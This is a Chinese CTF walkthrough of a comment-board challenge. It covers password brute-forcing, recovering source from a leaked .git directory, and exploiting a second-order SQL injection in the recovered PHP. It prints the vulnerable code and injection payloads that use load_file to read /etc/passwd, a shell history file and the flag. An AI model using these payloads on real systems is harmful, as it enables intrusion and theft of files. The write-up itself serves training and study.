知识点:
- 密码爆破
- 代码审计
- 二次注入
- 文件恢复
打开之后是一个发表评论的界面,尝试发表一下,发现需要登录,
登录界面提示密码只缺三位需要爆破,直接通过burp即可爆出密码为zhangwei666
登录
在控制台发现有提示,
应该是git恢复,扫一下后台发现了git文件
使用githacker恢复源码,但是恢复不全,
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
使用
git log --reflog命令查看到一共经过三次提交,我们恢复到第一个版本,
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
完整的源码如下,
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
这里会构成二次注入,addslashes函数会在某些字符前加上反斜线,但数据库存入的数据会自动过滤处理,也就是说数据还是原样保存插入到数据库中,在插入数据库的代码中,所有参数都用这个函数做了处理,但是在下面的代码中,category从数据库中查出来后就没有处理直接拼入了sql中,造成二次注入。
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
就可以看到ctf数据库名,然后使用load_file读取文件。
aa',content=(select(load_file('/etc/passwd'))),/*
查看使用过的系统命令,
22r',content=(select(load_file('/home/www/.bash_history'))),/*
可以看到这里删除了.DS_Store
通过十六进制读取.DS_Store
22r',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
16进制转换之后可以看到有一个guanyuflag的php文件
flag_8946e1ff1ee3e40f.php
aa',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
解码获取到flag。